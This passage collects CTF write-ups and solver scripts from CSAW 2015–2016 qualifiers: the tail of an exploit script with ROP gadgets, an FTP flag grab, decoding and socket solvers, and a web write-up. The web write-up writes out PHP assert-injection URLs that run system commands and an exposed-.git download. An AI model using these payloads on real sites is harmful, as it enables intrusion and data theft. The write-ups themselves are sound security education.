86 | tmp += r.readuntil('rint receipt from confirmation')
87 | d = os.path.dirname('./tmp/'+fname)
88 | if not os.path.exists(d):
89 | os.makedirs('./tmp/'+fname)
90 | with open('./tmp/'+fname, 'wb') as f:
91 | f.write(tmp)
92 | return tmp
93 |
94 |
95 |
96 | def dump_program():
97 | r.send('L2hvbWUvY3RmL2NzYXcvcGx1Z2luL21lbWVtYWNoaW5lLnNv\n')
98 |
99 | r.recvuntil('w/e\n')
100 | binary = ''
101 | while(r.can_recv(1)):
102 | binary += r.recv()
103 | with open('meme.bin', 'wb') as f:
104 | f.write(binary)
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 | if __name__ == '__main__':
113 | main()
114 | r.interactive()
115 |
116 |
117 | '''
118 |
119 |
120 | XDG_SESSION_ID=1
121 | rvm_bin_path=/home/ctf/.rvm/bin
122 | GEM_HOME=/home/ctf/.rvm/gems/ruby-2.2.1
123 | TERM=xterm
124 | SHELL=/bin/bash
125 | IRBRC=/home/ctf/.rvm/rubies/ruby-2.2.1/.irbrc
126 | OLDPWD=/home/ctf
127 | MY_RUBY_HOME=/home/ctf/.rvm/rubies/ruby-2.2.1
128 | USER=ctfLS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;SUDO_USER=ubuntu_system_type=LinuxSUDO_UID=1000rvm_path=/home/ctf/.rvmUSERNAME=rootrvm_prefix=/home/ctfMAIL=/var/mail/ctfPATH=/home/ctf/.rvm/gems/ruby-2.2.1/bin:/home/ctf/.rvm/gems/ruby-2.2.1@global/bin:/home/ctf/.rvm/rubies/ruby-2.2.1/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/home/ctf/.rvm/binPWD=/home/ctf/csawLANG=en_US.UTF-8_system_arch=x86_64_system_version=14.04rvm_version=1.26.11 (latest)HOME=/home/ctfSUDO_COMMAND=/bin/su ctfSHLVL=2LOGNAME=ctfGEM_PATH=/home/ctf/.rvm/gems/ruby-2.2.1:/home/ctf/.rvm/gems/ruby-2.2.1@globalLESSOPEN=| /usr/bin/lesspipe %sSUDO_GID=1000XDG_RUNTIME_DIR=/run/user/1000LESSCLOSE=/usr/bin/lesspipe %s %sRUBY_VERSION=ruby-2.2.1_system_name=Ubuntu_=/usr/bin/socatSOCAT_PID=19801SOCAT_PPID=1005SOCAT_VERSION=1.7.2.3SOCAT_SOCKADDR=172.31.38.89SOCAT_SOCKPORT=1337SOCAT_PEERADDR=69.255.29.32SOCAT_PEERPORT=48823
129 |
130 |
131 | '''
132 |
133 |
134 |
135 | '''
136 |
137 | 0x0000000000000937 : ret
138 | 0x000000000010a474 : mov rdi, rbp ; lea r9, qword ptr [rsp + 0x18] ; call qword ptr [rax]
139 | remote: 0x0000000000120173 : mov rdi, rbp ; call qword ptr [rax]
140 | 0x00000000000a8ce0 : mov rdi, qword ptr [rax] ; call r14
141 |
142 | '''
143 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploite300-ftp2.md:
--------------------------------------------------------------------------------
1 | # Exploit 300 - ftp2
2 |
3 | This challenge built off of Reversing300 (ftp) and which bspar solved using Z3. The password to the FTP service is `aDWX-|'`
4 |
5 | Since this challenge reuses the Rev300 binary, you should already be familiar with how it looks in IDA. So if IDA's not already open, go ahead and open it back up...just kidding! After bspar shared the pass, I threw it into a pwntools script to check out what was going on once logged in. Here is the script that I used:
6 |
7 | ```
8 | #!/usr/bin/env python2
9 |
10 | from pwn import *
11 | import struct
12 |
13 | local = True #true = remote, false = local
14 |
15 | if local:
16 | p = process('./ftp_0319deb1c1c033af28613c57da686aa7')
17 | r = remote('localhost', 12012)
18 | else:
19 | r = remote('54.175.183.202', 12012)
20 |
21 | #context.log_level = 'debug'
22 |
23 | print r.recv()
24 | s = r.sendline("USER blankwall")
25 | print r.recvline()
26 | s = r.send("PASS aDWX-|'")
27 | print r.recv()
28 |
29 | s = r.interactive()
30 | ```
31 | After running the script and logging in, you're presented with:
32 | ```
33 | Welcome to FTP server
34 | USER blankwall
35 | Please send password for user blankwall
36 | PASS aDWX-|'
37 | logged in
38 | HELP
39 | USER PASS PASV PORT
40 | NOOP REIN LIST SYST SIZE
41 | RETR STOR PWD CWD
42 | ```
43 | The first command I tried was LIST, but the FTP server stated that PASV was requirred first. So let's type that in.
44 | ```
45 | $ pasv
46 | PASV succesful listening on port: 64128
47 | ```
48 | Well it looks like the `PASV` command worked and the FTP server is now listening on the port listed. Let's see if we can connect to it with netcat from another terminal after typing in `LIST`.
49 | ```
50 | $ nc 54.172.10.117 63323
51 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 ftp_0319deb1c1c033af28613c57da686aa7
52 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 .bashrc
53 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 .bash_history
54 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 run.sh
55 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 flag.txt
56 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 .profile
57 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 .bash_logout
58 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 re_solution.txt
59 | drwxr-xr-x 1 0 0 4096 0 4096 .selected_editor
60 | ```
61 | Whoa, it worked! And look, there's the `re_solution.txt` file that contains the flag for the Reversing300 challenge. But wait, there's another file named `flag.txt`. Could that the flag that we need be in here? Let's find out!
62 |
63 | By now the FTP server will have most likely timed out, so log back in and setup another `PASV` port. Once logged in type `RETR flag.txt`. Switch over to the the other terminal that we used for netcat previously and this time enter `nc 54.172.10.117 63323`. What all of this does is to setup the server to send the `flag.txt` file once we connect to it, and then the content of `flat.txt` will be displayed in our netcat session.
64 | We end up getting `flag{exploiting_ftp_servers_in_2015}`
65 |
66 | Of course this is way too easy. The challenge was supposed to prevent being able to directly retrieve the `flag.txt` file, but a bug prevented that from happening.
67 |
--------------------------------------------------------------------------------
/csaw2015-quals/Forensics100-transfer.md:
--------------------------------------------------------------------------------
1 | # Forensics 100 - transfer
2 |
3 | In this challenge, we are given a pcap file and told that within it contains the flag.
4 |
5 | Let's go ahead and load the pcap in WireShark and then do a search to see if the term `flag` is found in any of the packets.
6 |
7 | 
8 |
9 | Well look at that, the organizers made it easy on use to find what we were looking for. Let's follow the TCP stream to get a better idea of what we're working with.
10 |
11 | 
12 |
13 | Ok now things are starting to fit together. This instantly jumps out as being a Python script (right? ;-). But the formatting is off, so we'll need to fix it. Let's grab the text and paste it into our favorite code editor and clean things up.
14 | ```
15 | #!/usr/bin/env python2
16 |
17 | import string
18 | import random
19 | from base64 import b64encode, b64decode
20 |
21 | FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
22 |
23 | enc_ciphers = ['rot13', 'b64e', 'caesar']
24 | # dec_ciphers = ['rot13', 'b64d', 'caesard']
25 |
26 | def rot13(s):
27 | _rot13 = string.maketrans(
28 | "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz",
29 | "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
30 | return string.translate(s, _rot13)
31 |
32 | def b64e(s):
33 | return b64encode(s)
34 |
35 | def caesar(plaintext, shift=3):
36 | alphabet = string.ascii_lowercase
37 | shifted_alphabet = alphabet[shift:] + alphabet[:shift]
38 | table = string.maketrans(alphabet, shifted_alphabet)
39 | return plaintext.translate(table)
40 |
41 | def encode(pt, cnt=50):
42 | tmp = '2{}'.format(b64encode(pt))
43 | for cnt in xrange(cnt):
44 | c = random.choice(enc_ciphers)
45 | i = enc_ciphers.index(c) + 1
46 | _tmp = globals()[c](tmp)
47 | tmp = '{}{}'.format(i, _tmp)
48 | return tmp
49 |
50 | if __name__ == '__main__':
51 | print encode(FLAG, cnt=?)
52 | ```
53 | Whew, that's better! Each period that preceeded a line represented a tab (or four spaces). Also, I added the shebang line so that the script can be interpreted through the command line and removed the text at the end of the stream. We'll need this later though...
54 |
55 | Now we need to figure out what the script is doing and we'll start by examing how the encoding works. There is an array of names of ciphers created that allows the script to call the functions that they represent. To make things easier, I'll comment the code to explain:
56 |
57 | ```
58 | def encode(pt, cnt=50): #sets cnt to 50 if no value is passed to cnt
59 | tmp = '2{}'.format(b64encode(pt)) #the original data is base64 encoded and a 2 is placed at the
60 | #beginning of the string. The 2 matches the position+1 in the
61 | #enc_ciphers array of b64enc
62 | for cnt in xrange(cnt):
63 | c = random.choice(enc_ciphers) #randomly select which cipher to encode for this loop
64 | i = enc_ciphers.index(c) + 1 #the index+1 of the random cipher in enc_ciphers
65 | _tmp = globals()[c](tmp) #calls the corresponding encoding function from the random selection
66 | tmp = '{}{}'.format(i, _tmp) #prepend the encoded data with the cipher number used
67 | return tmp
68 | ```
69 | Pretty straightforward, so decoding should be pretty easy. What we'll need to do is grab the number at the beginning of our encoded string to find the cipher used during that iteration, and then decode the rest of the string. This can be scripted to loop until `flag` is found since we don't know how many times the data was encoded. But first we'll need to have the neccessary functions to do the decoding.
70 |
71 | Quickly
72 | rot13 uses rot13 to decode itself
73 | base64 can use the builtin python base64decode function
74 | ceaser is just a shift by a specific number of letters (in this case 3), so we can define the `ceaserd` function to call the `ceaser` function with a shift of -3. Crafty, huh?
75 |
76 | Now that the decoders are out of the way, it's time to tackle writing the `decode` function. Again, for simplicities sake, I've commented the code below.
77 |
78 | ```
79 | def decode(pt):
80 | while "flag" not in pt: #we want to keep looping until 'flag' is in our
81 | #decoded string
82 | cipher = dec_ciphers[int(pt[:1]) - 1] #This takes the beginning char of our string to
83 | #determine the cipher used
84 | text = pt[1:] #Our encoded data
85 | pt = globals()[cipher](text) #Decodes the data
86 | return pt
87 | ```
88 | Eazy peezy. Now we just need to add our encoded string to our script and modify main to call our decode function instead of the encode one. Once that's done we can run our script and get `flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}`
89 |
90 |
--------------------------------------------------------------------------------
/csaw2016-quals/README.md:
--------------------------------------------------------------------------------
1 | CSAW 2016 Quals
2 |
--------------------------------------------------------------------------------
/csaw2016-quals/coinslot/README.md:
--------------------------------------------------------------------------------
1 | # CSAW 2016 Quals
2 | # coinslot
3 | ##### Brad Daniels -- USF Whitehatter's Computer Security Club
4 | ##### misc -- 25 points
5 | ## Description
6 |
7 | \#Hope \#Change \#Obama2008
8 |
9 | `nc misc.chal.csaw.io 8000`
10 |
11 | ## Solution
12 | The server gives us the following.
13 | ~~~
14 | sh$ nc misc.chal.csaw.io 8000
15 | $0.03
16 | $10,000 bills: 0
17 | $5,000 bills: 0
18 | $1,000 bills: 0
19 | $500 bills: 0
20 | $100 bills: 0
21 | 0$50 bills: 0
22 | $20 bills: 0
23 | $10 bills: 0
24 | $5 bills: 0
25 | $1 bills: 0
26 | half-dollars (50c): 0
27 | quarters (25c): 0
28 | dimes (10c): 0
29 | nickels (5c): 0
30 | pennies (1c): 3
31 | correct!
32 | $0.01
33 | $10,000 bills: 1
34 | ...
35 | ~~~
36 | It's a classic [change-making problem](https://en.wikipedia.org/wiki/Change-making_problem)!
37 |
38 | This was relatively straightforward to code a solution to, however I did run into some issues with Python occasionally casting the change string to an incorrect float, so I opted to convert everything to integers (# of pennies).
39 |
40 | ~~~python
41 | import socket
42 | import re
43 |
44 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
45 | s.connect(("misc.chal.csaw.io", 8000))
46 |
47 | resp = s.recv(1024)
48 | print resp,
49 |
50 | while len(resp) > 0:
51 |
52 | m = re.match(".*\$(\d{1,50})\.(\d\d).*", resp, re.DOTALL)
53 | if m:
54 | change = int(m.group(1)) * 100 + int(m.group(2))
55 | else:
56 | resp = s.recv(1024)
57 | print resp
58 | quit()
59 |
60 | denoms = [1000000, 500000, 100000, 50000, 10000, 5000, 2000,
61 | 1000, 500, 100, 50, 25, 10, 5, 1]
62 |
63 | for denom in denoms:
64 | num = 0
65 | num = change/denom
66 | print num
67 | if num > 0:
68 | change = change - (denom * num)
69 | s.send(str(num) + '\n')
70 | resp = s.recv(1024)
71 | print resp,
72 | ~~~
73 | 15 minutes later, we get the flag:
74 | ~~~
75 | ...
76 | $81667.36
77 | $10,000 bills: 8
78 | $5,000 bills: 0
79 | $1,000 bills: 1
80 | $500 bills: 1
81 | $100 bills: 1
82 | $50 bills: 1
83 | $20 bills: 0
84 | $10 bills: 1
85 | $5 bills: 1
86 | $1 bills: 2
87 | half-dollars (50c): 0
88 | quarters (25c): 1
89 | dimes (10c): 1
90 | nickels (5c): 0
91 | pennies (1c): 1
92 | correct!
93 | flag{started-from-the-bottom-now-my-whole-team-fucking-here}
94 | ~~~
95 |
--------------------------------------------------------------------------------
/csaw2016-quals/coinslot/cointslot.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import re
3 |
4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5 | s.connect(("misc.chal.csaw.io", 8000))
6 |
7 | resp = s.recv(1024)
8 | print resp,
9 |
10 | while len(resp) > 0:
11 |
12 | m = re.match(".*\$(\d{1,50})\.(\d\d).*", resp, re.DOTALL)
13 | if m:
14 | change = int(m.group(1)) * 100 + int(m.group(2))
15 | else:
16 | resp = s.recv(1024)
17 | print resp
18 | quit()
19 |
20 | denoms = [1000000, 500000, 100000, 50000, 10000, 5000, 2000,
21 | 1000, 500, 100, 50, 25, 10, 5, 1]
22 |
23 | for denom in denoms:
24 | num = 0
25 | num = change/denom
26 | print num
27 | if num > 0:
28 | change = change - (denom * num)
29 | s.send(str(num) + '\n')
30 | resp = s.recv(1024)
31 | print resp,
32 |
33 |
--------------------------------------------------------------------------------
/csaw2016-quals/fuzyll/solve_fuzyll.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | chars = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D",
4 | "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T",
5 | "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k",
6 | "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"]
7 |
8 | message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z"
9 |
10 | def decode(i):
11 | if i == 0:
12 | return chars.index(message[i])
13 | else:
14 | return 52*decode(i-1) + chars.index(message[i])
15 |
16 | inpt = decode(len(message) -1)
17 |
18 | flag = []
19 | i = len(message)
20 | while i >= 0:
21 | for c in range(32,126):
22 | n = (inpt - c)*1000000l/256
23 | if int(str(n)[-6:]) == 0 or n == 0:
24 | flag.append(chr(c))
25 | inpt = (inpt - c)/256
26 | break
27 | i -= 1
28 |
29 | print ''.join(flag)[::-1]
30 |
31 |
--------------------------------------------------------------------------------
/csaw2016-quals/mfw/README.md:
--------------------------------------------------------------------------------
1 | # CSAW 2016 Quals
2 | # mfw
3 | #### Cassandra Stavros -- USF Whitehatter's Computer Security Club
4 | #### web -- 125 points
5 | ## Description
6 |
7 | Hey, I made my first website today. It's pretty cool and web7.9.
8 |
9 | http://web.chal.csaw.io:8000/
10 |
11 | ## Solution
12 | The website gives us the following information:
13 | I wrote this website all by myself in under a week!
14 |
15 | I used:
16 |
17 | * Git
18 | * PHP
19 | * Bootstrap
20 | ---
21 | From the html source code, we can see that there is a hidden flag.php page:
22 | 
23 |
24 | The website author also hints that he used the above sources to create the website. A quick check of the challenge website reveals that they used GitHub as the source control repository. We can use the publically exposed .git/ directory to retreive the website source code:
25 |
26 | http://web.chal.csaw.io:8000/.git/
27 |
28 | Information security professionals warn that publicly revealing a website's source code leaves it open to vulnerabilities (https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/).
29 |
30 | We can use this publically exposed .git/ directory to retreive the website source code.
31 | We used the `wget` command, we downloaded the .git/ directory (or use curl for Mac users):
32 |
33 | wget --mirror -I .git http://web.chal.csaw.io:8000/.git/
34 | ---
35 | Now that we have the .git/ directory, we can explore the files in the Git repository.
36 |
37 | By typing in the following command we can get the status of proposed and deleted changes:
38 |
39 | $ git status | head -n 10
40 |
41 | Which retrieves the following file statuses:
42 |
43 | deleted: index.php
44 | deleted: templates/about.php
45 | deleted: templates/contact.php
46 | deleted: templates/flag.php
47 | deleted: templates/home.php
48 | ---
49 |
50 | We ran `git checkout -- ` to obtain the source files from the git repo>
51 |
52 | Next, we look at the current files in the directory by:
53 |
54 | $ ls
55 |
56 | Which shows that the following files exist:
57 |
58 | index.php
59 | templates
60 | ---
61 |
62 | We examined the index.php file and found that it used `assert`. We also discovered that the `$file` variable is created from unchecked user input, namely the `$_GET['page']`. We can use `$file` to command inject the `assert` statement.
63 |
64 |
75 |
76 | Per aaraonasterling on StackOverflow:
77 | >The rule of thumb which is applicable across most languages (all that I vaguely know) is that an `assert` is used to assert that a >condition is always true whereas an `if` is appropriate if it is conceivable that it will sometimes fail. (http://stackoverflow.com/questions/4516419/should-i-be-using-assert-in-my-php-code#4516444)
78 |
79 | With this in mind, we knew the way to capture the flag was to use `assert` to our advantage. First we tried some system commands through the browser, such as `http://web.chal.csaw.io:8000/?page=home%27!=0);//` and retrieved the "Detected hacking attempt!" web page.
80 |
81 | ---
82 |
83 | Next we pulled up the phpinfo page by injecting by the following command into the browser window:
84 |
85 | http://web.chal.csaw.io:8000/?page=home%27).%20phpinfo();%20//
86 |
87 | Which retrieved all of the information and configuration of the website:
88 |
89 | 
90 |
91 | Success! we have injected the `phpinfo();` command into the script sources on the live web page.
92 |
93 | ---
94 |
95 | We then tried the `system()` call to launch commands on the machine and the `ls` command to list the directory contents with `http://web.chal.csaw.io:8000/?page=home%27).%20system(%22ls%20-lah%22);%20//`:
96 |
97 | 
98 |
99 | As we can see, the directory contains a .git/ folder, a templates/ folder and the index.php source.
100 |
101 | ---
102 |
103 | We explored the templates/ folder by using `http://web.chal.csaw.io:8000/?page=home%27).%20system(%22ls%20-lah%20templates%22);%20//`:
104 |
105 | 
106 |
107 | Within this directory we saw flag.php. We examined flag.php next.
108 |
109 | ---
110 |
111 | Lastly, we used the cat command to print out the flag.php contents. We were still in the home directory, so we used the relative path `templates/flag.php` through `http://web.chal.csaw.io:8000/?page=home%27).%20system("cat%20templates/flag.php")%20//`:
112 |
113 | 
114 |
115 | *Many thanks to prole for helping me edit this write-up*
116 |
--------------------------------------------------------------------------------
/csaw2016-quals/regexpire/README.md:
--------------------------------------------------------------------------------
1 | # CSAW 2016 Quals
2 | # Regexpire
3 | ##### Patricia Wilthew -- USF Whitehatter's Computer Security Club
4 | ##### misc -- 100 points
5 | ## Description
6 |
7 | I thought I found a perfect match but she ended up being my regEx girlfriend.
8 |
9 | Note: You can't use newlines inside your match.
10 |
11 | `nc misc.chal.csaw.io 8001`
12 |
13 | ## Solution
14 | The server prints
15 | ~~~
16 | Can you match these regexes?
17 | 5lfb*(clementine|chair)+[1-9]{8}[eHf]*eK{2}K{2}
18 | ~~~
19 | And it gives us some seconds to create a phrase that belongs to that regular expression *
20 |
21 | \* Read about regular expressions -> https://msdn.microsoft.com/en-us/library/ae5bf541(v=vs.100).aspx
22 | A possible phrase (or matching phrase) that belongs to that regular expression would be: 5lfbbbclementinechairclementine11111111eHfeKKKK
23 |
24 | The problem is that it gives us 10 seconds to come up with a phrase, and as soon as we enter it (which is nearly impossible as we have only 10 seconds), it's gonna ask us to match another regular expression...
25 |
26 | Therefore, we have to write a code that given a regular expression, would generate any phrase that matches it.
27 |
28 | I found a pip library called 'rstr' that has a method called 'xeger' that would do what we need it to do.
29 | The only problem was that sometimes it was creating phrases with tabs and newlines, so brad_d added some replacements:
30 | ~~~python
31 | strToMatch = rstr.xeger(pattern)
32 | strToMatch = strToMatch.replace('\n', ' ')
33 | strToMatch = strToMatch.replace('\t', ' ')
34 | ~~~
35 |
36 | And this is the whole code:
37 | ~~~python
38 | # Chal: Regexpire
39 | import sys
40 | import rstr # First run: sudo pip install rstr
41 | import re
42 | import socket
43 |
44 | # Connect to server
45 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
46 | s.connect(("misc.chal.csaw.io", 8001))
47 |
48 | while 1:
49 | # Receive 1024 bytes from their server
50 | resp = s.recv(1024)
51 |
52 | # Print the first message from the server, which is "Can you match ...."
53 | if resp == 'Can you match these regexes?\n':
54 |
55 | print (resp)
56 |
57 | # If their server sends Time Out, exit the program
58 | elif resp == 'Timeout':
59 |
60 | print (resp)
61 | sys.exit()
62 |
63 | # If their server sends Irregular, means the last phrase sent was not a match.
64 | # Exit program
65 | elif resp == 'Irregular\n':
66 |
67 | print ('FYI: Last phrase did not match.')
68 | sys.exit()
69 |
70 | # If the server sends a different message from all of the above,
71 | # let's assume it's the Regular Expression we need
72 | else:
73 |
74 | # Resp contains the given R.E.
75 | print (resp)
76 |
77 | # Pattern contains the R.E. in Python's Syntax
78 | pattern = re.compile(resp[0:len(resp)-1])
79 |
80 | # If pattern is empty, exit
81 | if len(list(pattern.pattern)) == 0:
82 | sys.exit()
83 |
84 | # Making sure the phrase doesn't have tabs or newlines
85 | strToMatch = rstr.xeger(pattern)
86 | strToMatch = strToMatch.replace('\n', ' ')
87 | strToMatch = strToMatch.replace('\t', ' ')
88 |
89 | # Send the matching phrase to the server and print it
90 | s.send(strToMatch + '\n')
91 | print (strToMatch + '\n')
92 | ~~~
93 | The program will run for a while (1 to 2 minutes), then it will print the flag:
94 | ~~~
95 | .....
96 |
97 | 6{8}z(potato|cat){7}[mjZdcq]*e*[P4n0\DruOD.]{5}9*[i-r]*E[VzF0qQ7\Wl]
98 |
99 | 66666666zpotatopotatopotatocatcatpotatopotatoqjcqZccjqcdqcZdjdjjZqjqjqZmZeeeeeeeeeeeeee4uD!r9999999999999999999999999999999999999999999999999999999999999999999999999999999jpmlimnqpqiqqkllnmkmpjipprkkrmrpolnlklnmlronrqlmjronkirpqmEq
100 |
101 | flag{^regularly_express_yourself$}
102 |
103 | flag{regularly_express_yourself}
104 |
105 | ~~~
106 |
--------------------------------------------------------------------------------
/csaw2016-quals/regexpire/regexpire.txt:
--------------------------------------------------------------------------------
1 | # CSAW 2016 Quals
2 | # Regexpire
3 | ##### Patricia Wilthew -- USF Whitehatter's Computer Security Club
4 | ##### misc -- 100 points
5 | ## Description
6 |
7 | I thought I found a perfect match but she ended up being my regEx girlfriend.
8 |
9 | Note: You can't use newlines inside your match.
10 |
11 | `nc misc.chal.csaw.io 8001`
12 |
13 | ## Solution
14 | The server prints
15 | ~~~
16 | Can you match these regexes?
17 | 5lfb*(clementine|chair)+[1-9]{8}[eHf]*eK{2}K{2}
18 | ~~~
19 | And it gives us some seconds to create a phrase that belongs to that regular expression *
20 |
21 | * Read about regular expressions -> https://msdn.microsoft.com/en-us/library/ae5bf541(v=vs.100).aspx
22 | A possible phrase (or matching phrase) that belongs to that regular expression would be: 5lfbbbclementinechairclementine11111111eHfeKKKK
23 |
24 | The problem is that it gives us 10 seconds to come up with a phrase, and as soon as we enter it (which is nearly impossible as we have only 10 seconds), it's gonna ask us to match another regular expression...
25 |
26 | Therefore, we have to write a code that given a regular expression, would generate any phrase that matches it.
27 |
28 | I found a pip library called 'rstr' that has a method called 'xeger' that would do what we need it to do.
29 | The only problem was that sometimes it was creating phrases with tabs and newlines, so brad_d added some replacements:
30 | ~~~python
31 | strToMatch = rstr.xeger(pattern)
32 | strToMatch = strToMatch.replace('\n', ' ')
33 | strToMatch = strToMatch.replace('\t', ' ')
34 | ~~~
35 |
36 | And this is the whole code:
37 | ~~~python
38 | # Chal: Regexpire
39 | import sys
40 | import rstr # First run: sudo pip install rstr
41 | import re
42 | import socket
43 |
44 | # Connect to server
45 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
46 | s.connect(("misc.chal.csaw.io", 8001))
47 |
48 | while 1:
49 | # Receive 1024 bytes from their server
50 | resp = s.recv(1024)
51 |
52 | # Print the first message from the server, which is "Can you match ...."
53 | if resp == 'Can you match these regexes?\n':
54 |
55 | print (resp)
56 |
57 | # If their server sends Time Out, exit the program
58 | elif resp == 'Timeout':
59 |
60 | print (resp)
61 | sys.exit()
62 |
63 | # If their server sends Irregular, means the last phrase sent was not a match.
64 | # Exit program
65 | elif resp == 'Irregular\n':
66 |
67 | print ('FYI: Last phrase did not match.')
68 | sys.exit()
69 |
70 | # If the server sends a different message from all of the above,
71 | # let's assume it's the Regular Expression we need
72 | else:
73 |
74 | # Resp contains the given R.E.
75 | print (resp)
76 |
77 | # Pattern contains the R.E. in Python's Syntax
78 | pattern = re.compile(resp[0:len(resp)-1])
79 |
80 | # If pattern is empty, exit
81 | if len(list(pattern.pattern)) == 0:
82 | sys.exit()
83 |
84 | # Making sure the phrase doesn't have tabs or newlines
85 | strToMatch = rstr.xeger(pattern)
86 | strToMatch = strToMatch.replace('\n', ' ')
87 | strToMatch = strToMatch.replace('\t', ' ')
88 |
89 | # Send the matching phrase to the server and print it
90 | s.send(strToMatch + '\n')
91 | print (strToMatch + '\n')
92 | ~~~
93 | The program will run for a while (1 to 2 minutes), then it will print the flag:
94 | ~~~
95 | .....
96 |
97 | 6{8}z(potato|cat){7}[mjZdcq]*e*[P4n0\DruOD.]{5}9*[i-r]*E[VzF0qQ7\Wl]
98 |
99 | 66666666zpotatopotatopotatocatcatpotatopotatoqjcqZccjqcdqcZdjdjjZqjqjqZmZeeeeeeeeeeeeee4uD!r9999999999999999999999999999999999999999999999999999999999999999999999999999999jpmlimnqpqiqqkllnmkmpjipprkkrmrpolnlklnmlronrqlmjronkirpqmEq
100 |
101 | flag{^regularly_express_yourself$}
102 |
103 | flag{regularly_express_yourself}
104 |
105 | ~~~
106 |
--------------------------------------------------------------------------------
/csaw2016-quals/rock/README.md:
--------------------------------------------------------------------------------
1 | # CSAW 2016 Quals
2 | # The Rock
3 | ##### Brad Daniels -- USF Whitehatter's Computer Security Club
4 | ##### reversing -- 100 points
5 | ## Description
6 |
7 | Never forget the people's champ.
8 |
9 | ## Solution
10 | We're given a binary 64-bit ELF binary. It seems to take an input from STDIN and produce some output.
11 |
12 | ~~~
13 | $ ./rock
14 | asdf
15 | -------------------------------------------
16 | Quote from people's champ
17 | -------------------------------------------
18 | *My goal was never to be the loudest or the craziest. It was to be the most entertaining.
19 | *Wrestling was like stand-up comedy for me.
20 | *I like to use the hard times in the past to motivate me today.
21 | -------------------------------------------
22 | Checking....
23 | Too short or too long
24 | ~~~
25 |
26 | By trial and error, I figured out what length of characters it wanted. When 30 characters are entered, it produces a different response.
27 |
28 | ~~~
29 |
30 | $ perl -e 'print "a"x30' | ./rock
31 | -------------------------------------------
32 | Quote from people's champ
33 | -------------------------------------------
34 | *My goal was never to be the loudest or the craziest. It was to be the most entertaining.
35 | *Wrestling was like stand-up comedy for me.
36 | *I like to use the hard times in the past to motivate me today.
